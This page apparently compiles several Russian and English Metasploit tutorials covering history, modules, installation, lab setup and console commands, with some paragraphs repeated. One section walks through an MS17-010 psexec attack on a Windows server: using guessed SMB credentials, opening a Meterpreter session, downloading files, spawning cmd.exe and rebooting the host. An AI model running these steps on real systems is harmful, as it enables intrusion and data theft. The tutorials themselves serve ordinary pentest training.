Metasploit руководство на русском

Время на прочтение
7 мин

Количество просмотров 62K

Тестирование на проникновение позволяет ответить на вопрос, как кто-то со злым умыслом может вмешаться в вашу сеть. Используя инструменты пентеста, «белые хакеры» и профессионалы в области безопасности могут на любом этапе разработки или развертывания исследовать сети и приложения на предмет недостатков и уязвимостей путем взлома системы.

Одним из таких средств пентеста является проект Metasploit. Этот фреймворк с открытым исходным кодом, созданный на Ruby, позволяет проводить тестирование с помощью командной строки или графического интерфейса. Его можно расширить, создавая собственные надстройки с поддержкой нескольких языков.

Что такое Metasploit Framework и как он используется?

Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и «белые хакеры» и специалисты по проникновению для исследования уязвимостей в сетях и на серверах. Поскольку это фреймворк с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем.

С помощью Metasploit пентестеры могут использовать готовый или создать пользовательский код и вводить его в сеть для поиска слабых мест. В качестве еще одного способа поиска угроз, после идентификации и документирования недостатков, эту информацию можно использовать для устранения системных недостатков и определения приоритетности решений.

Краткая история Metasploit

Проект Metasploit был создан на языке Perl в 2003 году Эйч Ди Муром (H.D. Moore) при содействии основного разработчика Мэтта Миллера для использования в качестве портативного сетевого инструмента. Он был полностью переведен на язык Ruby к 2007 году, а в 2009 году лицензию приобрела Rapid7, и теперь этот инструмент остается частью ассортимента этой бостонской компании, специализирующейся на разработке систем обнаружения вторжений и инструментов эксплуатации уязвимостей систем удаленного доступа.

Части этих других инструментов находятся в среде Metasploit, которая встроена в ОС Kali Linux. Компания Rapid7 также разработала два запатентованных инструмента OpenCore: Metasploit Pro и Metasploit Express.

Этот фреймворк стал основным инструментом разработки эксплойтов и устранения уязвимостей. До Metasploit пентестерам приходилось выполнять все проверки вручную, используя различные инструменты, которые могли поддерживать или не поддерживать тестируемую платформу, а также вручную писать собственный код и внедрять его в сети. Дистанционное тестирование было чем-то экстраординарным, и это ограничивало работу специалиста по безопасности собственным регионом и местными компаниями, а организациям приходилось тратить целые состояния на собственных ИТ-консультантов или специалистов по безопасности.

Кто использует Metasploit?

Благодаря широкому спектру применений и доступному открытому исходному коду Metasploit используется самыми разными людьми, от профессионалов кибербезопасности до хакеров. Metasploit полезен для всех, кому нужен простой в установке и надежный инструмент, выполняющий свою работу независимо от платформы или языка. Это программное обеспечение пользуется популярностью у хакеров и широко доступно, что мотивирует специалистов по безопасности изучать платформу Metasploit, даже если сами они ей не пользуются.

Современная версия Metasploit содержит свыше 1677 эксплойтов для более 25 платформ, включая Android, PHP, Python, Java, Cisco и другие. Фреймворк также содержит около 500 единиц информационного наполнения («пейлоад»), среди которых вы найдёте:

  • Пейлоады для командной оболочки — позволяют пользователям запускать сценарии или случайные команды на хосте.
  • Динамические пейлады — позволяют тестировщикам генерировать уникальные пейлоады для обхода антивирусного программного обеспечения.
  • Пейлоады Meterpreter — позволяют пользователям перехватывать управление монитором устройства с помощью контроллера видеопамяти, захватывать сеансы, а также скачивать или загружать файлы.
  • Статические пейлоады — позволяют устанавливать переадресацию портов и обмен данными между сетями.

Сфера применения и преимущества Metasploit

Все, что вам нужно для использования Metasploit после его установки, — это получить информацию о цели либо путем сканирования портов, либо путем получения цифрового отпечатка операционной системы, либо с помощью сканера уязвимостей, чтобы найти способ проникнуть в сеть. Затем остается просто выбрать эксплойт и полезную нагрузку. В этом контексте эксплойт — это средство для выявления слабости в вашей сети или системе и использования этой уязвимости для получения доступа.
Платформа состоит из различных моделей и интерфейсов, которые включают: msfconsole на базе библиотеки curses, msfcli для всех функций msf из терминала или командной строки, Armitag — инструмент с графическим интерфейсом на Java, который используется для интеграции с MSF, а также веб-интерфейс сообщества Metasploit, поддерживающий удаленный пентест.

«Белые хакеры» и специалисты по пентесту, пытающиеся определить уязвимости или извлечь уроки из атак киберпреступников, должны понимать, что последние не афишируют своих действий. Киберпреступники отличаются скрытностью и любят работать через VPN-туннели, таким образом маскируя свой IP-адрес, а многие из них используют выделенный виртуальный сервер, чтобы избежать прерываний, которыми обычно страдают многие провайдеры виртуального хостинга. Эти два инструмента конфиденциальности также будут полезны для «белых хакеров», которые намереваются вступить в мир эксплойтов и пентеста с помощью Metasploit.

Как упоминалось выше, Metasploit предоставляет вам эксплойты, пейлоады, вспомогательные функции, кодировщики, перехватчики, шелл-код, а также послеэксплойтный код и NOP.

Вы можете получить сертификат специалиста Metasploit Pro онлайн, чтобы стать сертифицированным пентестером. Проходной балл для получения сертификата — 80%, а экзамен занимает около двух часов и разрешается пользоваться справочной литературой. Его стоимость составляет 195$, и после успешного прохождения вы сможете распечатать свой сертификат.
Перед экзаменом рекомендуется пройти учебный курс Metasploit и иметь профессиональные или рабочие знания в следующих областях:

  • ОС Windows и Linux;
  • сетевые протоколы;
  • системы управления уязвимостями;
  • основные концепции пентеста.

Получение этого сертификата — желаемое достижение для всех, кто хочет стать востребованным пентестером или аналитиком кибербезопасности.

Как установить Metasploit

Metasploit доступен в виде программы установки с открытым исходным кодом, которую можно скачать с сайта Rapid7. Минимальные системные требования включают наличие последней версии браузера Chrome, Firefox или Explorer, а также

Операционная система:

  • Ubuntu Linux 14.04 или 16.04 LTS (рекомендуется) ;
  • Windows Server 2008 или 2012 R2;
  • Windows 7 SP1+, 8.1 или 10;
  • Red Hat Enterprise Linux Server 5.10, 6.5, 7.1 или новее.

Оборудование

  • процессор 2 ГГц;
  • минимум 4 ГБ ОЗУ (рекомендуется 8ГБ);
  • минимум 1 ГБ дискового пространства (рекомендуется 50ГБ).

Перед установкой вам нужно отключить все антивирусные программы и брандмауэры на вашем устройстве и получить права администратора. Программа установки — это автономный модуль, который настраивается при установке платформы. У вас также есть возможность ручной установки, если вы хотите настроить зависимые объекты по-своему.
Пользователи Kali Linux уже имеют версию Metasploit Pro в комплекте с их ОС. Для пользователей Windows установка будет осуществляться через мастер установки InstallShield.

После установки при запуске вы столкнетесь со следующими вариантами:

  • создание базы данных в /Users/joesmith/.msf4/db;
  • запуск Postgresql;
  • создание пользователей базы данных;
  • создание исходной схемы базы данных.

Учимся использовать Metasploit: советы

Легкость изучения Metasploit зависит от вашего знания Ruby. Однако, если вы знакомы с другими скриптовыми языками и языками программирования, например Python, перейти к работе с Metasploit не составит большого труда. В остальном это интуитивно понятный язык, который легко выучить на практике.

Поскольку этот инструмент требует от вас отключения вашей собственной системы защиты и позволяет генерировать вредоносный код, вы должны знать о потенциальных рисках. Если возможно, установите эту программу в отдельной системе, а не на вашем личном устройстве или компьютере, содержащем потенциально конфиденциальную информацию или имеющем доступ к такой информации. При пентесте с Metasploit вам следует использовать отдельное рабочее устройство.

Зачем нужно изучать Metasploit

Эта платформа необходима всем аналитикам безопасности или пентестерам. Это важное средство для обнаружения скрытых уязвимостей с помощью различных инструментов и утилит. Metasploit позволяет поставить себя на место хакера и использовать те же методы для разведки и проникновения в сети и серверы.

Вот схема типичной архитектуры Metasploit:

Пошаговая инструкция по Metasploit

Мы начнем краткое руководство по эксплойтам, предполагая, что ваша система и ОС соответствуют базовым требованиям. Чтобы настроить среду тестирования, понадобится скачать и установить Virtualbox , Kali и Metasploitable для создания виртуализированной хакерской машины. Вы можете загрузить и установить Windows XP или выше, чтобы создать третью виртуальную машину для этого эксплойта.

После установки инструментов для тестирования откройте консоль Metasploit. Она выглядит так:

Проще всего ввести в консоли команду help, чтобы отобразился список команд Metasploit и их описания. Это выглядит так:

Первый мощный и полезный инструмент, который вам нужен, — это графический интерфейс Armitage, который позволяет визуализировать цели и рекомендовать наиболее подходящие эксплойты для доступа к ним. Этот инструмент также показывает расширенные функции для более глубокого проникновения и дальнейшего тестирования после того, как было выполнено начальное проникновение с помощью эксплойта. Чтобы выбрать его в консоли, перейдите в Applications — Exploit Tools — Armitage («Приложения» — «Инструменты для эксплойтов» — Armitage).

После того, как на экране появится поле формы, введите хост, номер порта, идентификатор пользователя и пароль. Нажмите Enter после заполнения всех полей, и вы будете готовы к запуску эксплойта.

Ресурсы для изучения Metasploit

Одно из основных достоинств сообщества программного обеспечения с открытым кодом заключается в объединении ресурсов и обмене информацией. Это современное воплощение того, почему был создан интернет. Это средство, способствующее гибкости и дающее безграничные возможности для сотрудничества.

В связи с этим мы предлагаем список ресурсов, которые позволят вам в полной мере реализовать потенциал Matspoit.

Один из лучших ресурсов и первое место, которое вам следует посетить, — это собственная обширная база знаний Metasploit. Там вы найдете руководства для начинающих, метамодули, эксплойты, а также обнаруженные уязвимости и исправления для них. Вы также сможете узнать о различных типах сертификатов Metasploit и о том, как их получить.

Еще один полезный ресурс — Varonis Cyber Workshop. Он предлагает ряд учебных пособий и занятий с экспертами в области кибербезопасности.

Дисклеймер:

Автор материала не несет ответственности, за действия совершенные читателями. Информация предоставлена исключительно в ознакомительных целях.

Metasploit представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. На данный момент Metasploit приобретен компанией Rapid7 и имеет несколько версий:

— командная оболочка msfconole

— версия с web-интерфейсом Metasploit PRO.

Загрузить и установить Metasploit можно с официального сайта проекта:

https://metasploit.com/

Или Gitlab:

https://gitlab.com/kalilinux/packages/metasploit-framework

В этой статье я постараюсь полностью избежать теории и максимально коротко раскрыть практическую сторону Metasploit на примере проникновения в ОС Windows Server 2012.

Подготовим все необходимое

В качестве атакующей машины будет выступать компьютер под управлением ОС Kali, дистрибутив которой уже содержит Metasploit, нам остается только запустить сервис базы данных:

$sudo service postgresql start

Убедиться, что база данных прослушивает порт 5432 командой:

$ss -ant

Остается только инициализировать БД msf:

$sudo msfdb init

Теперь можно запускать msfconsole:

$msfconsole

Проверим статус БД:

msf5 >db_status

Если всё настроено верно, то мы получим примерно такой вывод:

[*] Connected to msf. Connection type: postgresql.

Сбор информации и атака

Для этой цели будем использовать сетевой сканнер nmap прямо из консоли msf. Как использовать nmap — это отдельная тема, останавливаться на ней сейчас я не буду, скажу только, что ip-адрес жертвы в этом примере нам известен, а ключ -sV даст больше информации об ОС, службах и открытых портах:

msf5 >nmap -sV 192.168.1.104

Antony_Allonsy

Для поиска эксплойтов используем команду search. Также искать эксплойты можно по названию, коду CVE, версии сервиса или на https://www.exploit-db.com/

Следующей командой ищем модули для работы с SMB:

msf5 >search smb

В выводе мы получим список всех известных на данный момент модулей для SMB. А также версию, код уязвимости и шансы на успех.

Выбор осуществляется командой use:

msf5 >use exploit/windows/smb/ms17_010_psexec

Для смены модуля используем команду use или для отмены команду back.

Теперь мы можем установить ip адрес жертвы и ввести команду exploit в msfconsole для выполнения выбранного модуля или просмотреть опции модуля командой show options.

Опции модуля устанавливаются командой set.

В моей компании половина сотрудников хранят свои пароли на стикерах, приклеенных к мониторам. А в компании, где я работал до этого, все логины и пароли лежали на общедоступном диске в одном документе. Поэтому если вам так же «повезло», как мне, используем социальную инженерию и зададим логин и пароль:

msf5 exploit(windows/smb/ms17_010_psexec)>set smbuser Ivanov_II

msf5 exploit(windows/smb/ms17_010_psexec)>set smbpass Qwerty123

Но в данном примере я задам только ip-адрес, в этом случае Metasploit будет пытаться войти в систему либо анонимно, либо используя словарь, адрес которого видно в опциях. Вводим:

msf5 exploit(windows/smb/ms17_010_psexec)>set rhost 192.168.1.104

И запустим выбраный модуль:

msf5 exploit(windows/smb/ms17_010_psexec)>exploit

Antony_Allonsy

Если все прошло успешно, то мы попадем в сессию Meterpreter.

Для наглядности протестируем несколько команд:

Попробуем скопировать данные себе на компьютер. Перемещаться по директориям можно стандартными командами Windows.

meterpreter>download info.txt

Antony_Allonsy

Скопируем файл на ПК жертвы:

Antony_Allonsy

Запустим командную строку:

meterpreter>execute -f cmd.exe -i -H

Antony_Allonsy

И отправим сервер на перезагрузку:

meterpreter>reboot

Antony_Allonsy

Более подробно о возможностях Metasploit и Meterpreter можно почитать в курсе от Offensive Security:

https://www.offensive-security.com/metasploit-unleashed/

Или в официальной документации:

https://metasploit.help.rapid7.com/docs

Metasploit — A Walkthrough Of The Powerful Exploitation Framework

Metasploit can handle everything from scanning to exploitation. In this article, we will take a look at what makes Metasploit the most versatile penetration testing toolkit.

Intro to Penetration Testing

If you are new to penetration testing, let me explain what it is before I introduce you to an exploitation tool.

Penetration testing is hacking with permission. You might have seen cool hackers on TV attacking computer systems without getting caught. But that’s not how it works in the real world.

If you hack someone without permission, there is a high chance that you will end up in jail. So if you are planning to learn hacking with evil intentions, I am not responsible for any damage you cause. All my articles are purely educational.

So, if hacking is bad, why learn it in the first place? Every device on the internet is vulnerable by default unless someone secures it.

It’s the job of the penetration tester to think like a hacker and attack their organization’s systems. The penetration tester then informs the organization about the vulnerabilities and advises on patching them.

Penetration testing is one of the highest-paid jobs in the industry. There is always a shortage of pen-testers since the number of devices on the internet is growing exponentially.

I recently wrote an article on the top ten tools you should know as a cybersecurity engineer. If you are interested in learning more about cybersecurity, check out the article here.

Right. Enough pep talk. Let’s look at one of the coolest pen-testing tools in the market — Metasploit.

Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities in systems. It gives you everything you need from scanners to third-party integrations that you will need throughout an entire penetration testing lifecycle.

This includes reconnaissance, scanning, exploitation, privilege escalation, and maintaining access.

1-25

Metasploit is an open-source framework written in Ruby. It is written to be an extensible framework, so that if you want to build custom features using Ruby, you can easily do that via plugins.

Rapid7, the company behind Metasploit, offers a premium version of Metasploit with advanced features.

Metasploit is also frequently updated with new exploits published in the Common Vulnerabilities and Exposures (CVE). So if a new vulnerability is found and published, you can start scanning your systems right away.

Metasploit comes with anti-forensic and evasion tools built into it. It is also pre-installed in the Kali operating system.

Components

Now that you know what Metasploit is, let’s look at the core concepts of Metasploit.

Metasploit offers you a few key components to find and exploit vulnerabilities on a network. This includes exploits, payloads, auxiliaries, and so on. Let’s look at each one of them in detail.

Exploits

An exploit is a piece of code that takes advantage of a vulnerability in a system. These exploits perform specific actions based on how bad the vulnerability is.

Exploits can take advantage of software vulnerabilities, hardware vulnerabilities, zero-day vulnerabilities, and so on. Some of the common exploits include buffer overflows, SQL injections, and so on.

1-24

Metasploit offers a number of exploits that you can use based on the existing vulnerabilities in the target system. These exploits can be classified into two types:

  • Active Exploits — Active exploits will run on a target system, exploit the system, give you access or perform a specific task, and then exit.
  • Passive Exploits — Passive exploits will wait until the target system connects to the exploit. This approach is often used by hackers on the internet asking you to download files or software. Once you do, you connect yourself to a passive exploit running on the hacker’s computer.

Payloads

A payload is a piece of code that runs through the exploit. You use exploits to get into a system and payloads to perform specific actions.

For example, you can use a keylogger as a payload along with an exploit. Once the exploit is successful, it will install the keylogger in the target’s system.

Metasploit offers a good collection of payloads like reverse shells, bind shells, Meterpreter, and so on.

1-13

There are a few payloads that will work with the majority of exploits, but it takes some research to find the right payload that will work with the exploit.

Once you choose an exploit, you can list the payloads that will work with that exploit using the ‘show payloads’ command in Metasploit.

There are a few types of payloads in Metasploit. The ones you will end up using the most are these three types:

  • Singles — Payloads that work on their own, for example keyloggers.
  • Stagers — Payloads that work with others, for example two payloads: one to establish a connection with the target, the other to execute an instruction.
  • Meterpreter — Advanced payload that lives on the target’s memory, hard to trace, and can load/unload plugins at will. There’s a section below on Meterpreter where I will explain it in detail.

Auxiliaries

Auxiliaries are modules that help you perform custom functions other than exploiting a system. This includes port scanners, fuzzers, sniffers, and more.

For example, you can use the CERT auxiliary to check for expired SSL certificates on a network. This is useful for system administrations to automate certificate management.

1-22

If you are familiar with Ruby, you can write your own auxiliaries. If you want to scan a network for specific vulnerabilities every week, you can write your own custom auxiliary module to do that.

You can then use it to scan your network instead of using an existing scanner like Nmap.

Now that you know how Metasploit works, let’s look at the tools that Metasploit offers.

msfconsole

MsfConsole is the default interface for Metasploit. It gives you all the commands you need to interact with the Metasploit framework.

It takes a bit of a learning curve to familiarize yourself with the CLI, but once you do, it is easy to work with. Also, MsfConsole is the only way you can access all the features of Metasploit.

1-21

MsfConsole also offers tab-completion for common commands. Making yourself familiar with the MsfConsole is an important step in your journey to becoming a Metasploit professional.

msfdb

If you are working with large networks on a regular basis, chances are, you will need a place to store your data. This includes scan results, login credentials, and so on.

Metasploit offers a database management tool called msfdb. msfdb works on top of a PostgreSQL database and gives you a list of useful commands to import and export your results.

1-20

With msfdb, you can import scan results from external tools like Nmap or Nessus. Metasploit also offers a native db_nmap command that lets you scan and import results using Nmap within the msfconsole.

MsfVenom

Finally, we have msfvenom (cool name, huh?). msfvenom lets you generate custom payloads depending on your target.

Using an antivirus or a firewall can make a target system relatively secure. In those cases, existing Metasploit payloads might not work since they are generic for all systems falling under an operating system or a service.

1-19

msfvenom was built by combining two older tools that Metsploit had: msfpayload and msfencode. msfvenom lets you create and encode custom payloads for your exploits.

Based on the additional information you have on the target, you can craft your own payloads to achieve a higher success rate during your penetration test.

Meterpreter

Meterpreter is an advanced payload in Metasploit. Unlike other payloads that perform a specific function, Meterpreter is dynamic and can be scripted on the fly.

1-18

If you can exploit a system and inject Meterpreter as the payload, here are some of the things you can do:

  • Establish an encrypted communication between your system and the target.
  • Dump password hashes from the target system.
  • Search for files on the target’s filesystem
  • Upload / Download files
  • Take webcam snapshots

Meterpreter is also incredibly stealthy. Since Meterpreter lives in the memory of the target, it is extremely hard to detect. It is also hard to trace Meterpreter using forensic tools.

1-17

You can write Meterpreter scripts on the fly using Ruby to carry out custom functions. Meterpreter also has a Python module that gives you additional commands to execute python scripts on the target machine.

Armitage

Armitage is a graphical user interface for Metasploit, written in Java. Armitage is considered to be a great addon for pen-testers familiar with the command-line interface.

1-12

The core feature of Armitage is to visualize targets and recommend exploits. Armitage is also scriptable, which means you can automate redundant tasks like host discovery.

Armitage is extremely useful when you are working with a large number of systems in a network. You can use Armitage’s GUI to escalate privileges, browse files, dump password hashes, and so on.

Summary

Metasploit provides a suite of tools for you to perform a complete security audit of a network. Metasploit is frequently updated with the vulnerabilities published in the Common Vulnerabilities and Exploits database.

You can also use other tools like Nmap and Nessus with Metasploit through integrations or by importing their scan reports into Metasploit. Metasploit also has a GUI tool called Armitage that lets you visualize targets and recommend exploits.

If you are interested in learning more about Metasploit, check out the detailed reference guide published by Offensive Security.

Loved this article? Join my Newsletter and get a summary of my articles and videos every Monday.



Learn to code for free. freeCodeCamp’s open source curriculum has helped more than 40,000 people get jobs as developers. Get started

В одной из прошлых статей мы публиковали

Гид по Kali Linux

, практического руководства по использованию дистрибутива Kali Linux для аудита ИБ и проведения пен-тестов. Сегодня же мы обратим пристальное внимание на один из инструментов входящих в данный дистрибутив — Metasploit Framework. Рассмотри историю возникновения проекта, а так приведем конкретные руководства и документации способствующие практическому освоению пакета Metasploit

История проекта

В 2003 году, хакеру, известному как «HD Moore», пришла в голову идея разработать инструмент для быстрого написания и использования

эксплоитов

. Так на свет появился известный во всех кругах проект Metasploit project.

Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в единой базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.

При работе над второй (2.x) версией к HD Moore присоединился Мэтт Миллер и еще несколько добровольцев. Третья версия была полностью переписана на Ruby, её разрабатывала компания

Metasploit LLC

(основанная вспе теми же разработчиками в 2006 году). Через год в 2008 лицензия Metasploit Framework была сменена с проприетарной на BSD. А еще позднее в 2009 году фирма

Rapid7

, занимающаяся управлением уязвимостями, объявила о приобретении Metasploit,  программного пакета двойного назначения для проведения

тестов на проникновение

. Так же сообщалось, что некоммерческая версия утилиты по-прежнему будет доступна для всех желающих.

С момента приобретения фреймфорка, многое изменилось.

Появились PRO и Community версии, а в 2010 году, в свет вышла более упрощенная версия для «малоквалифицированных» пользователей — Metasploit Express.

Версии

Сегодня Metasploit распространяется в четырех версиях:

  • Framework — базовая версия с консольным интерфейсом;
  • Community — бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
  • Express — для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
  • Pro — самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.

Помимо веб-интерфейса, доступного в версиях Community, Express и Pro, существуют такие проекты, как

Armitage

и

Cobalt strike

, предоставляющие дружелюбный и интуитивно понятный GUI-интерфейс для фреймворка.

Armitage графическая оболочка

По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.

Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На

веб-сайте разработчиков

присутствуют исходные коды, справочные руководства в текстовом и видео формате.

Базовые понятия

1. База данных

До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния  производительность.

Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.

2. Структура фремворка

«Сердце» Metasploit — библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core, которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей.

Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:

  • Exploit — код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека)
  • Payload — код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее)
  • Post — код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы)
  • Encoder — инструменты для обфускации модулей с целью маскировки от антивирусов
  • NOP — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер
  • Auxiliary — модули для сканирования сети, анализа трафика и так далее.

3. Общие команды MSFCONSOLE

Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole.

Рассмотрим основные команды:

  • use — выбрать определенный модуль для работы с ним;
  • back — операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
  • show — вывести список модулей определенного типа;
  • set— установить значение определенному объекту;
  • run — запустить вспомогательный модуль после того, как были установлены необходимые опции;
  • info — вывести информацию о модуле;
  • search — найти определенный модуль;
  • check — проверить, подвержена ли целевая система уязвимости;
  • sessions — вывести список доступных сессий.

Документация

Мы не много познакомиться с историей проекта, кратко разобрались в базовых понятиях, теперь настало время приступить к изучению возможностей пакета.

На официальном сайта разработчика размещен

Metasploit Framework Pro User Guide

, подробно описывающий все возможные фичи пакета и их применение в реальных условиях. Не смотря на то, что гид написан на английском языке, объясняется все довольно четко и интуитивно понятно.

Для начинающих пользователей ей гид попроще

Инструкция с подробным описанием шагов установки фреймворка на Linux можно забрать

здесь

Для тех, кто все таки желает читать документацию на русском существует проект неофициального перевода, ознакомиться с материалом можно

тут

Ну и для тех, кто любит изучать все на примерах и к тому же  с картинками могут посетить

этот ресурс

.

Книги

Learning Metasploit Exploitation and Development

Год издания: 2013

Автор: Aditya Balapure

Издательство: Packt Publishing

Table of Contents
1: Lab Setup
2: Metasploit Framework Organization
3: Exploitation Basics
4: Meterpreter Basics
5: Vulnerability Scanning and Information Gathering
6: Client-side Exploitation
7: Post Exploitation
8: Post Exploitation – Privilege Escalation
9: Post Exploitation – Cleaning Up Traces
10: Post Exploitation – Backdoors
11: Post Exploitation – Pivoting and Network Sniffing
12: Exploit Research with Metasploit
13: Using Social Engineering Toolkit and Armitage

Скачать книгу можно

здесь

Будьте на шаг впереди цифровой угрозы — подписывайтесь на наш канал и узнавайте, как выжить в цифровом мире!

Metasploit – Введение

Metasploit – один из самых мощных инструментов, используемых для тестирования на проникновение. Большинство его ресурсов можно найти по адресу – www.metasploit.com . Он поставляется в двух версиях: коммерческая и бесплатная. В этих двух версиях нет существенных различий, поэтому в этом руководстве мы в основном будем использовать версию Metasploit для сообщества (бесплатную).

Как этический хакер, вы будете использовать «Kali Distribution», в которую встроена версия сообщества Metasploit вместе с другими инструментами этического взлома. Но если вы хотите установить Metasploit как отдельный инструмент, вы можете легко сделать это в системах, работающих на Linux, Windows или Mac OS X.

Требования к оборудованию для установки Metasploit:

  • 2 ГГц + процессор
  • 1 ГБ ОЗУ доступно
  • 1 ГБ + доступное дисковое пространство

Matasploit можно использовать либо с командной строкой, либо с веб-интерфейсом.

Рекомендуемые версии ОС для Metasploit:

  • Kali Linux 2.0 или более поздние версии
  • Backtrack 3 и верхняя версия
  • Red Hat Enterprise Linux Server 5.10+
  • Red Hat Enterprise Linux Server 6.5+
  • Red Hat Enterprise Linux Server 7.1+
  • Ubuntu Linux 10.04 LTS
  • Ubuntu Linux 12.04 LTS
  • Ubuntu Linux 14.04 LTS
  • Windows Server 2008 R2
  • Windows Server 2012 R2
  • Windows 7
  • Windows 8.1

Metasploit – Настройка среды

Мы предпримем следующие действия для настройки нашей тестовой среды:

  • Мы скачаем Виртуальную коробку и установим ее.

  • Скачайте и установите дистрибутив Kali .

  • Скачайте и установите Metasploitable, который станет нашим хакерским автоматом.

  • Загрузите и установите Windows XP, которая станет еще одним хакерским компьютером.

Мы скачаем Виртуальную коробку и установим ее.

Скачайте и установите дистрибутив Kali .

Скачайте и установите Metasploitable, который станет нашим хакерским автоматом.

Загрузите и установите Windows XP, которая станет еще одним хакерским компьютером.

Всего у нас будет 3 машины, которые будут логически связаны в одной сети.

Три машины

Установить виртуальную коробку

Чтобы загрузить Virtual Box, перейдите по адресу www.virtualbox.org/wiki/Downloads.

Выберите подходящую версию в зависимости от вашей ОС и конфигурации оборудования вашей системы.

Установить виртуальную коробку

После выбора соответствующей версии Virtual Box появится следующий экран. Нажмите Далее .

Выберите подходящую версию

На следующем экране укажите место, куда вы хотите установить приложение.

Установить местоположение

Вы получите предупреждение перед продолжением установки.

Предупреждающее сообщение

Нажмите Да на приведенном выше экране, который отобразит следующий экран. Нажмите Установить, чтобы начать установку.

Нажмите Установить

После завершения установки вы получите следующий экран. Нажмите «Готово», чтобы выйти из мастера установки.

Нажмите Готово

Теперь вас встретит начальный экран VirtualBox.

VirtualBox Screen

Теперь мы готовы установить остальные хосты для этого урока.

Установить Кали Linux

Вы можете скачать Kali Linux с его официального сайта – www.kali.org/downloads/

Установить Кали Linux

Зайдите на официальный сайт и загрузите готовые образы Kali Linux VirtualBox.

Затем откройте VirtualBox Manager и перейдите в «Машина» → «Создать».

Откройте VirtualBox Manager

Перейдите в папку, в которую загружен Kali Linux, и выберите файл виртуального жесткого диска.

Кали Линукс

На следующем экране вам будет предложено создать виртуальную машину. Нажмите кнопку « Создать» , как показано на следующем снимке экрана.

Нажмите кнопку Создать

Теперь вы можете запустить Kali OS. Ваше имя пользователя по умолчанию будет root, а ваш пароль будет toor .

Запустите Кали ОС

Metasploit – Основные команды

В этой главе мы обсудим некоторые основные команды, которые часто используются в Metasploit.

Прежде всего, откройте консоль Metasploit в Кали. Вы можете сделать это, пройдя по пути: Приложения → Инструменты эксплуатации → Metasploit.

Metasploit Console

Открыв консоль Metasploit, вы увидите следующий экран. Подчеркнутым красным подчеркиванием является версия Metasploit.

Версия Metasploit

Команда помощи

Если вы введете команду help в консоли, она покажет вам список основных команд в Metasploit вместе с их описанием.

Команда помощи

Команда msfupdate

msfupdate – важная административная команда. Он используется для обновления Metasploit новейшими уязвимостями. После выполнения этой команды вам придется подождать несколько минут до завершения обновления.

Команда msfupdate

Команда поиска

Поиск – это мощная команда в Metasploit, которую вы можете использовать, чтобы найти то, что вы хотите найти. Например, если вы хотите найти эксплойты, связанные с Microsoft, то команда будет –

msf >search name:Microsoft type:exploit

Здесь поиск – это команда, имя – это имя объекта, который вы ищете, а тип – это тип сценария, который вы ищете.

Команда поиска

Команда информации

Команда info предоставляет информацию о модуле или платформе, например, о том, где он используется, кто является автором, ссылку на уязвимость и ограничение полезной нагрузки.

Команда информации

Metasploit – Armitage GUI

В этой главе мы увидим, как использовать графический интерфейс Armitage для Metasploit. Armitage – это дополнительный инструмент для Metasploit. Он визуализирует цели, рекомендует эксплойты и предоставляет расширенные функции после эксплуатации. Armitage включен в дистрибутив Kali. Если вам необходимо пройти тестирование на проникновение, вам придется использовать оба инструмента вместе.

Давайте узнаем, как работать с графическим интерфейсом Armitage. Сначала откройте консоль Metasploit и перейдите в Приложения → Инструменты для эксплойтов → Armitage.

Armitage GUI

Введите необходимые данные на следующем экране и нажмите « Подключиться» .

Введите необходимые данные

Далее вы увидите следующий экран.

Смотрите экран

Armitage очень удобен в использовании. Его графический интерфейс имеет три отдельных области: цели , консоль и модули .

  • В области Targets перечислены все машины, которые вы обнаружили, и те, с которыми вы работаете. Взломанные цели имеют красный цвет с грозой. После того, как вы взломали цель, вы можете щелкнуть по ней правой кнопкой мыши и продолжить изучение того, что вам нужно сделать, например, изучить (просмотреть) папки.

  • Область Консоль предоставляет вид для папок. Просто нажав на нее, вы можете напрямую перейти к папкам без использования каких-либо команд Metasploit.

  • Область Модули – это раздел, в котором перечислены модули уязвимостей.

В области Targets перечислены все машины, которые вы обнаружили, и те, с которыми вы работаете. Взломанные цели имеют красный цвет с грозой. После того, как вы взломали цель, вы можете щелкнуть по ней правой кнопкой мыши и продолжить изучение того, что вам нужно сделать, например, изучить (просмотреть) папки.

